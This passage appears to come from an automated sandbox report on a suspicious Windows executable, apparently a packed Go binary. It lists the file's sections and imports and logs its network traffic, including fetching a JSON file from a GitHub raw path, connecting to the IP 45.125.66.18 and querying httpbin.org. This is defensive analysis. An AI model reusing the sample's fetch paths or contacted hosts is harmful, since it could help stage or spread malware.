dec eax
mov ebx, edx
call 00007F3A8CD5979Bh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7e2000	0x554	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x5ac000	0xe058	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x7e3000	0xb014	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x4e01c0	0x180	.data
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x267c35	0x267e00	558cfebf470ac7a812584396a05e84f9	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x269000	0x2768e8	0x276a00	2ae35a91a15fad23296fb42fc5427a4a	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x4e0000	0xcb7c0	0x3d400	37f6d23a8f05c65492830f2f2d706208	False	0.37782605229591837	data	4.799848116580347	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x5ac000	0xe058	0xe200	5cebb7c73df2da6f6181d74968b9e7fe	False	0.40153138827433627	data	5.465582290244562	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.xdata	0x5bb000	0xb4	0x200	dbbf65544a89803849c8b94bb72da141	False	0.2265625	shared library	1.787112262798912	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
/4	0x5bc000	0x129	0x200	17f62672c8506464ae13eccc2eb6cb94	False	0.623046875	data	5.081946473254993	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/19	0x5bd000	0x6ca5f	0x6cc00	1fccec32ee0f95cdbe651a6208db1bb1	False	0.9991581357758621	data	7.996511841637044	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/32	0x62a000	0x16c1a	0x16e00	c17bbd59138a10ec4186e17c87425621	False	0.9933081454918032	data	7.937326684040818	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/46	0x641000	0x30	0x200	40cca7c46fc713b4f088e5d440ca7931	False	0.103515625	data	0.8556848540171443	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/65	0x642000	0xea7cc	0xea800	a4000ac04b05d989659ba037b4fa34be	False	0.9992535231210021	data	7.997931431657807	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/78	0x72d000	0x8a93a	0x8aa00	9ccb7bb4cfa87302129d071093acc5b2	False	0.9908877648782687	data	7.9948832902156095	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/90	0x7b8000	0x29a99	0x29c00	614b9fab6634f0ffa526654d2f4e5716	False	0.9623058570359282	data	7.822178478313296	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.idata	0x7e2000	0x554	0x600	48061013b3c118f7e82018a0486c6049	False	0.3828125	data	4.060039263158338	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x7e3000	0xb014	0xb200	ebf5eede3a8c398bf8d59cde80bcadd8	False	0.26264044943820225	data	5.430341682252091	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.symtab	0x7ef000	0x5b6ff	0x5b800	7657e321956daf9b5ef7532d4d28cbdc	False	0.22409441171448088	data	5.288123149705255	IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL

Import

kernel32.dll

WriteFile, WriteConsoleW, WerSetFlags, WerGetFlags, WaitForMultipleObjects, WaitForSingleObject, VirtualQuery, VirtualFree, VirtualAlloc, TlsAlloc, SwitchToThread, SuspendThread, SetWaitableTimer, SetProcessPriorityBoost, SetEvent, SetErrorMode, SetConsoleCtrlHandler, RtlVirtualUnwind, RtlLookupFunctionEntry, ResumeThread, RaiseFailFastException, PostQueuedCompletionStatus, LoadLibraryW, LoadLibraryExW, SetThreadContext, GetThreadContext, GetSystemInfo, GetSystemDirectoryA, GetStdHandle, GetQueuedCompletionStatusEx, GetProcessAffinityMask, GetProcAddress, GetErrorMode, GetEnvironmentStringsW, GetCurrentThreadId, GetConsoleMode, FreeEnvironmentStringsW, ExitProcess, DuplicateHandle, CreateWaitableTimerExW, CreateThread, CreateIoCompletionPort, CreateFileA, CreateEventA, CloseHandle, AddVectoredExceptionHandler, AddVectoredContinueHandler

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 27, 2024 12:55:06.375881910 CEST	49730	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:06.375935078 CEST	443	49730	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:06.376003027 CEST	49730	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:06.377064943 CEST	49730	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:06.377087116 CEST	443	49730	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:06.845598936 CEST	443	49730	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:06.845900059 CEST	49730	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:06.845926046 CEST	443	49730	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:06.846014023 CEST	49730	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:06.846019983 CEST	443	49730	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:06.847343922 CEST	443	49730	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:06.847429991 CEST	49730	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:06.896635056 CEST	49730	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:06.896748066 CEST	49730	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:06.896796942 CEST	443	49730	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:06.944397926 CEST	49730	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:06.944408894 CEST	443	49730	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:06.992136955 CEST	49730	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:07.092953920 CEST	443	49730	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:07.093051910 CEST	443	49730	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:07.093121052 CEST	49730	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:07.093508959 CEST	49730	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:07.093508959 CEST	49730	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:07.093530893 CEST	443	49730	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:07.093540907 CEST	443	49730	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:07.094810963 CEST	49731	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:07.094851017 CEST	443	49731	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:07.094928026 CEST	49731	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:07.095293999 CEST	49731	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:07.095309019 CEST	443	49731	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:07.567802906 CEST	443	49731	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:07.568198919 CEST	49731	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:07.568217039 CEST	443	49731	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:07.568386078 CEST	49731	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:07.568394899 CEST	443	49731	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:07.569572926 CEST	443	49731	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:07.569655895 CEST	49731	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:07.588798046 CEST	49731	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:07.588923931 CEST	49731	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:07.588948965 CEST	443	49731	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:07.634057045 CEST	49731	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:07.634078979 CEST	443	49731	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:07.680604935 CEST	49731	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:07.696872950 CEST	443	49731	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:07.696984053 CEST	443	49731	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:07.697047949 CEST	49731	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:07.702719927 CEST	49731	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:07.702745914 CEST	443	49731	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:07.702759027 CEST	49731	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:07.702764988 CEST	443	49731	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:34.070128918 CEST	49738	443	192.168.2.4	140.82.121.3
Aug 27, 2024 12:55:34.070161104 CEST	443	49738	140.82.121.3	192.168.2.4
Aug 27, 2024 12:55:34.070244074 CEST	49738	443	192.168.2.4	140.82.121.3
Aug 27, 2024 12:55:34.071428061 CEST	49738	443	192.168.2.4	140.82.121.3
Aug 27, 2024 12:55:34.071438074 CEST	443	49738	140.82.121.3	192.168.2.4
Aug 27, 2024 12:55:34.718813896 CEST	443	49738	140.82.121.3	192.168.2.4
Aug 27, 2024 12:55:34.719011068 CEST	49738	443	192.168.2.4	140.82.121.3
Aug 27, 2024 12:55:34.719019890 CEST	443	49738	140.82.121.3	192.168.2.4
Aug 27, 2024 12:55:34.719160080 CEST	49738	443	192.168.2.4	140.82.121.3
Aug 27, 2024 12:55:34.719163895 CEST	443	49738	140.82.121.3	192.168.2.4
Aug 27, 2024 12:55:34.720109940 CEST	443	49738	140.82.121.3	192.168.2.4
Aug 27, 2024 12:55:34.720172882 CEST	49738	443	192.168.2.4	140.82.121.3
Aug 27, 2024 12:55:34.742631912 CEST	49738	443	192.168.2.4	140.82.121.3
Aug 27, 2024 12:55:34.742712975 CEST	443	49738	140.82.121.3	192.168.2.4
Aug 27, 2024 12:55:34.742752075 CEST	49738	443	192.168.2.4	140.82.121.3
Aug 27, 2024 12:55:34.784503937 CEST	443	49738	140.82.121.3	192.168.2.4
Aug 27, 2024 12:55:34.789899111 CEST	49738	443	192.168.2.4	140.82.121.3
Aug 27, 2024 12:55:34.789912939 CEST	443	49738	140.82.121.3	192.168.2.4
Aug 27, 2024 12:55:34.837568998 CEST	49738	443	192.168.2.4	140.82.121.3
Aug 27, 2024 12:55:35.146241903 CEST	443	49738	140.82.121.3	192.168.2.4
Aug 27, 2024 12:55:35.146342039 CEST	443	49738	140.82.121.3	192.168.2.4
Aug 27, 2024 12:55:35.146404028 CEST	443	49738	140.82.121.3	192.168.2.4
Aug 27, 2024 12:55:35.146406889 CEST	49738	443	192.168.2.4	140.82.121.3
Aug 27, 2024 12:55:35.146456957 CEST	49738	443	192.168.2.4	140.82.121.3
Aug 27, 2024 12:55:35.146728992 CEST	49738	443	192.168.2.4	140.82.121.3
Aug 27, 2024 12:55:35.146747112 CEST	443	49738	140.82.121.3	192.168.2.4
Aug 27, 2024 12:55:35.146768093 CEST	49738	443	192.168.2.4	140.82.121.3
Aug 27, 2024 12:55:35.146773100 CEST	443	49738	140.82.121.3	192.168.2.4
Aug 27, 2024 12:55:35.148200035 CEST	49739	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:35.148251057 CEST	443	49739	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:35.148325920 CEST	49739	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:35.148596048 CEST	49739	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:35.148614883 CEST	443	49739	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:35.600306988 CEST	443	49739	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:35.600625992 CEST	49739	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:35.600661039 CEST	443	49739	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:35.600824118 CEST	49739	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:35.600831032 CEST	443	49739	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:35.601861000 CEST	443	49739	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:35.601938009 CEST	49739	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:35.603209019 CEST	49739	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:35.603279114 CEST	443	49739	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:35.603363037 CEST	49739	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:35.603379011 CEST	443	49739	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:35.651518106 CEST	49739	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:35.990891933 CEST	443	49739	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:35.990961075 CEST	443	49739	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:35.990984917 CEST	443	49739	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:35.991008997 CEST	443	49739	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:35.991034031 CEST	443	49739	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:35.991065979 CEST	443	49739	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:35.991099119 CEST	443	49739	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:35.991110086 CEST	49739	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:35.991127014 CEST	443	49739	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:35.991137981 CEST	443	49739	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:35.991173029 CEST	49739	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:35.991192102 CEST	443	49739	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:35.991220951 CEST	443	49739	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:35.991236925 CEST	49739	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:35.991250992 CEST	443	49739	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:35.991291046 CEST	49739	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:35.991300106 CEST	443	49739	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:35.995649099 CEST	443	49739	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:35.995683908 CEST	443	49739	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:35.995718956 CEST	49739	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:35.995748997 CEST	443	49739	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:35.995786905 CEST	443	49739	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:35.995819092 CEST	49739	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:35.995831013 CEST	443	49739	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:35.995870113 CEST	49739	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:35.996109962 CEST	443	49739	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:35.996180058 CEST	443	49739	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:35.996206045 CEST	443	49739	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:35.996233940 CEST	49739	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:35.996247053 CEST	443	49739	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:35.996304035 CEST	49739	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:35.997010946 CEST	443	49739	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:35.997075081 CEST	443	49739	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:35.997106075 CEST	443	49739	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:35.997122049 CEST	49739	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:35.997139931 CEST	443	49739	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:35.997185946 CEST	49739	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:35.997977972 CEST	443	49739	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:35.998039961 CEST	443	49739	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:35.998069048 CEST	443	49739	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:35.998095036 CEST	49739	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:35.998111963 CEST	443	49739	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:35.998161077 CEST	49739	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:35.998167992 CEST	443	49739	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:35.998182058 CEST	443	49739	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:35.998224974 CEST	49739	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:35.998289108 CEST	49739	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:35.998303890 CEST	443	49739	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:35.998326063 CEST	49739	443	192.168.2.4	185.199.109.133
Aug 27, 2024 12:55:35.998331070 CEST	443	49739	185.199.109.133	192.168.2.4
Aug 27, 2024 12:55:38.198266983 CEST	49740	443	192.168.2.4	45.125.66.18
Aug 27, 2024 12:55:38.198319912 CEST	443	49740	45.125.66.18	192.168.2.4
Aug 27, 2024 12:55:38.198400974 CEST	49740	443	192.168.2.4	45.125.66.18
Aug 27, 2024 12:55:38.205292940 CEST	49740	443	192.168.2.4	45.125.66.18
Aug 27, 2024 12:55:38.205307961 CEST	443	49740	45.125.66.18	192.168.2.4
Aug 27, 2024 12:55:38.867611885 CEST	443	49740	45.125.66.18	192.168.2.4
Aug 27, 2024 12:55:38.867721081 CEST	49740	443	192.168.2.4	45.125.66.18
Aug 27, 2024 12:55:38.871855974 CEST	49740	443	192.168.2.4	45.125.66.18
Aug 27, 2024 12:55:38.871869087 CEST	443	49740	45.125.66.18	192.168.2.4
Aug 27, 2024 12:55:38.872183084 CEST	443	49740	45.125.66.18	192.168.2.4
Aug 27, 2024 12:55:38.926866055 CEST	49740	443	192.168.2.4	45.125.66.18
Aug 27, 2024 12:55:39.497292995 CEST	49740	443	192.168.2.4	45.125.66.18
Aug 27, 2024 12:55:39.497356892 CEST	49740	443	192.168.2.4	45.125.66.18
Aug 27, 2024 12:55:39.497380972 CEST	443	49740	45.125.66.18	192.168.2.4
Aug 27, 2024 12:55:39.725958109 CEST	443	49740	45.125.66.18	192.168.2.4
Aug 27, 2024 12:55:39.725977898 CEST	443	49740	45.125.66.18	192.168.2.4
Aug 27, 2024 12:55:39.726032019 CEST	49740	443	192.168.2.4	45.125.66.18
Aug 27, 2024 12:55:39.726047039 CEST	443	49740	45.125.66.18	192.168.2.4
Aug 27, 2024 12:55:39.726098061 CEST	49740	443	192.168.2.4	45.125.66.18
Aug 27, 2024 12:55:39.728382111 CEST	49740	443	192.168.2.4	45.125.66.18
Aug 27, 2024 12:55:39.728399992 CEST	443	49740	45.125.66.18	192.168.2.4
Aug 27, 2024 12:55:39.728415012 CEST	49740	443	192.168.2.4	45.125.66.18
Aug 27, 2024 12:55:39.728420973 CEST	443	49740	45.125.66.18	192.168.2.4
Aug 27, 2024 12:55:42.414951086 CEST	49741	443	192.168.2.4	34.194.69.213
Aug 27, 2024 12:55:42.414990902 CEST	443	49741	34.194.69.213	192.168.2.4
Aug 27, 2024 12:55:42.415065050 CEST	49741	443	192.168.2.4	34.194.69.213
Aug 27, 2024 12:55:42.415326118 CEST	49741	443	192.168.2.4	34.194.69.213
Aug 27, 2024 12:55:42.415343046 CEST	443	49741	34.194.69.213	192.168.2.4
Aug 27, 2024 12:55:43.096940041 CEST	443	49741	34.194.69.213	192.168.2.4
Aug 27, 2024 12:55:43.097238064 CEST	49741	443	192.168.2.4	34.194.69.213
Aug 27, 2024 12:55:43.097270012 CEST	443	49741	34.194.69.213	192.168.2.4
Aug 27, 2024 12:55:43.097528934 CEST	49741	443	192.168.2.4	34.194.69.213
Aug 27, 2024 12:55:43.097537041 CEST	443	49741	34.194.69.213	192.168.2.4
Aug 27, 2024 12:55:43.098613977 CEST	443	49741	34.194.69.213	192.168.2.4
Aug 27, 2024 12:55:43.098684072 CEST	49741	443	192.168.2.4	34.194.69.213
Aug 27, 2024 12:55:43.099627972 CEST	49741	443	192.168.2.4	34.194.69.213
Aug 27, 2024 12:55:43.099713087 CEST	49741	443	192.168.2.4	34.194.69.213
Aug 27, 2024 12:55:43.099716902 CEST	443	49741	34.194.69.213	192.168.2.4
Aug 27, 2024 12:55:43.144505024 CEST	443	49741	34.194.69.213	192.168.2.4
Aug 27, 2024 12:55:43.147093058 CEST	49741	443	192.168.2.4	34.194.69.213
Aug 27, 2024 12:55:43.147104979 CEST	443	49741	34.194.69.213	192.168.2.4
Aug 27, 2024 12:55:43.194972038 CEST	49741	443	192.168.2.4	34.194.69.213
Aug 27, 2024 12:55:43.209078074 CEST	443	49741	34.194.69.213	192.168.2.4
Aug 27, 2024 12:55:43.209161997 CEST	443	49741	34.194.69.213	192.168.2.4
Aug 27, 2024 12:55:43.209330082 CEST	49741	443	192.168.2.4	34.194.69.213
Aug 27, 2024 12:55:43.209466934 CEST	49741	443	192.168.2.4	34.194.69.213
Aug 27, 2024 12:55:43.209491014 CEST	443	49741	34.194.69.213	192.168.2.4
Aug 27, 2024 12:55:43.209501982 CEST	49741	443	192.168.2.4	34.194.69.213
Aug 27, 2024 12:55:43.209506989 CEST	443	49741	34.194.69.213	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 27, 2024 12:55:06.365214109 CEST	57284	53	192.168.2.4	1.1.1.1
Aug 27, 2024 12:55:06.372332096 CEST	53	57284	1.1.1.1	192.168.2.4
Aug 27, 2024 12:55:34.057627916 CEST	61621	53	192.168.2.4	1.1.1.1
Aug 27, 2024 12:55:34.069144964 CEST	53	61621	1.1.1.1	192.168.2.4
Aug 27, 2024 12:55:42.405945063 CEST	55049	53	192.168.2.4	1.1.1.1
Aug 27, 2024 12:55:42.414222002 CEST	53	55049	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 27, 2024 12:55:06.365214109 CEST	192.168.2.4	1.1.1.1	0x417c	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Aug 27, 2024 12:55:34.057627916 CEST	192.168.2.4	1.1.1.1	0xd9c0	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Aug 27, 2024 12:55:42.405945063 CEST	192.168.2.4	1.1.1.1	0x24e5	Standard query (0)	httpbin.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Aug 27, 2024 12:55:06.372332096 CEST	1.1.1.1	192.168.2.4	0x417c	No error (0)	raw.githubusercontent.com	185.199.109.133	A (IP address)	IN (0x0001)	false
Aug 27, 2024 12:55:06.372332096 CEST	1.1.1.1	192.168.2.4	0x417c	No error (0)	raw.githubusercontent.com	185.199.108.133	A (IP address)	IN (0x0001)	false
Aug 27, 2024 12:55:06.372332096 CEST	1.1.1.1	192.168.2.4	0x417c	No error (0)	raw.githubusercontent.com	185.199.111.133	A (IP address)	IN (0x0001)	false
Aug 27, 2024 12:55:06.372332096 CEST	1.1.1.1	192.168.2.4	0x417c	No error (0)	raw.githubusercontent.com	185.199.110.133	A (IP address)	IN (0x0001)	false
Aug 27, 2024 12:55:34.069144964 CEST	1.1.1.1	192.168.2.4	0xd9c0	No error (0)	github.com	140.82.121.3	A (IP address)	IN (0x0001)	false
Aug 27, 2024 12:55:42.414222002 CEST	1.1.1.1	192.168.2.4	0x24e5	No error (0)	httpbin.org	34.194.69.213	A (IP address)	IN (0x0001)	false
Aug 27, 2024 12:55:42.414222002 CEST	1.1.1.1	192.168.2.4	0x24e5	No error (0)	httpbin.org	3.211.178.193	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

raw.githubusercontent.com

github.com

https:

45.125.66.18

httpbin.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.199.109.133	443	6120	C:\Users\user\Desktop\1feP5qTCl0.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-27 10:55:06 UTC	140	OUT	GET /workhasf/kelm/main/yjsefceawd.json HTTP/1.1 Host: raw.githubusercontent.com User-Agent: Go-http-client/1.1 Accept-Encoding: gzip
2024-08-27 10:55:07 UTC	898	IN	HTTP/1.1 200 OK Connection: close Content-Length: 254 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "2b7d5e7976210b6b6243eb731562fda7633790a0d3e8fe06e97c427ca3df3b40" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: C138:B7845:695157:749E29:66CDB080 Accept-Ranges: bytes Date: Tue, 27 Aug 2024 10:55:07 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740041-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1724756107.962493,VS0,VE85 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 